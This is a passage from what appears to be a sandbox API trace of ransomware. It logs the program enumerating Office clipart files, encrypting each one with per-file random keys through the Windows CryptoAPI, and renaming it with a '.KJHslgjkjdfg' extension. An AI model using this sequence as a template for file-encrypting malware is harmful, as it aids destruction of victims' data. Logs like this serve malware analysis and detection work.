phKey=0x290f274*=0x2c63a0) returned 1 [0155.212] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.212] GetProcessHeap () returned 0x2a0000 [0155.213] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0155.213] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0155.213] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.213] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0155.213] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0155.213] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0155.213] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0155.213] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0155.213] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0155.213] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.213] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.213] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.213] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x69aa, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x69aa, lpOverlapped=0x0) returned 1 [0155.214] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x69b0, dwBufLen=0x69b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x69b0) returned 1 [0155.215] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.215] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x69b0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x69b0, lpOverlapped=0x0) returned 1 [0155.215] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.215] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6a84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.215] SetEndOfFile (hFile=0x114) returned 1 [0155.218] GetProcessHeap () returned 0x2a0000 [0155.218] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0155.218] GetProcessHeap () returned 0x2a0000 [0155.218] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0155.218] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf.kjhslgjkjdfg")) returned 1 [0155.220] CloseHandle (hObject=0x114) returned 1 [0155.220] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd65d6900, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd65d6900, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x1b54, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00524_.WMF", cAlternateFileName="")) returned 1 [0155.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0155.221] GetProcessHeap () returned 0x2a0000 [0155.221] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0155.221] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0155.221] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0155.221] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0155.227] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.227] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.227] GetProcessHeap () returned 0x2a0000 [0155.227] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0155.227] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0155.227] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.227] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0155.227] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0155.228] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0155.228] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0155.228] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0155.228] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0155.228] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.228] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.228] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.228] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1b54, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1b54, lpOverlapped=0x0) returned 1 [0155.229] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1b60, dwBufLen=0x1b60 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1b60) returned 1 [0155.229] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.230] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1b60, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1b60, lpOverlapped=0x0) returned 1 [0155.230] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.230] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1c34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.230] SetEndOfFile (hFile=0x114) returned 1 [0155.277] GetProcessHeap () returned 0x2a0000 [0155.277] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0155.277] GetProcessHeap () returned 0x2a0000 [0155.277] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0155.277] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf.kjhslgjkjdfg")) returned 1 [0155.278] CloseHandle (hObject=0x114) returned 1 [0155.279] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd52c3c00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd52c3c00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x2576, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00525_.WMF", cAlternateFileName="")) returned 1 [0155.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0155.280] GetProcessHeap () returned 0x2a0000 [0155.280] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0155.280] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0155.280] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0155.281] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0155.315] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.315] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.315] GetProcessHeap () returned 0x2a0000 [0155.316] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0155.316] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0155.316] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.316] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0155.316] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0155.316] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0155.316] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0155.316] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0155.316] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0155.317] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.317] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.317] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.317] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2576, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2576, lpOverlapped=0x0) returned 1 [0155.349] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2580, dwBufLen=0x2580 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2580) returned 1 [0155.349] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.349] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2580, lpOverlapped=0x0) returned 1 [0155.349] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.349] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2654, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.349] SetEndOfFile (hFile=0x114) returned 1 [0155.352] GetProcessHeap () returned 0x2a0000 [0155.352] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0155.352] GetProcessHeap () returned 0x2a0000 [0155.352] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0155.352] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf.kjhslgjkjdfg")) returned 1 [0155.353] CloseHandle (hObject=0x114) returned 1 [0155.353] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3fb0f00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd3fb0f00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x6ba0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00526_.WMF", cAlternateFileName="")) returned 1 [0155.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0155.354] GetProcessHeap () returned 0x2a0000 [0155.354] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0155.354] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0155.354] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0155.354] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.354] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.354] GetProcessHeap () returned 0x2a0000 [0155.354] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0155.354] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0155.354] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.355] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0155.359] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0155.359] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0155.359] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0155.359] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0155.359] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0155.360] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.360] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.360] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.360] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x6ba0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x6ba0, lpOverlapped=0x0) returned 1 [0155.393] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6ba0, dwBufLen=0x6ba0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6ba0) returned 1 [0155.393] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.393] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6ba0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x6ba0, lpOverlapped=0x0) returned 1 [0155.394] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.394] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6c74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.394] SetEndOfFile (hFile=0x114) returned 1 [0155.397] GetProcessHeap () returned 0x2a0000 [0155.397] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0155.397] GetProcessHeap () returned 0x2a0000 [0155.397] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0155.397] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf.kjhslgjkjdfg")) returned 1 [0155.398] CloseHandle (hObject=0x114) returned 1 [0155.398] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20fce500, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x20fce500, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x2cec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00648_.WMF", cAlternateFileName="")) returned 1 [0155.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0155.399] GetProcessHeap () returned 0x2a0000 [0155.399] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0155.399] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0155.399] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0155.400] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0155.402] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.402] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.402] GetProcessHeap () returned 0x2a0000 [0155.402] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0155.402] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0155.402] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.402] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0155.402] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0155.403] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0155.403] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0155.403] SetFilePointerEx (in: hFile=0x114, 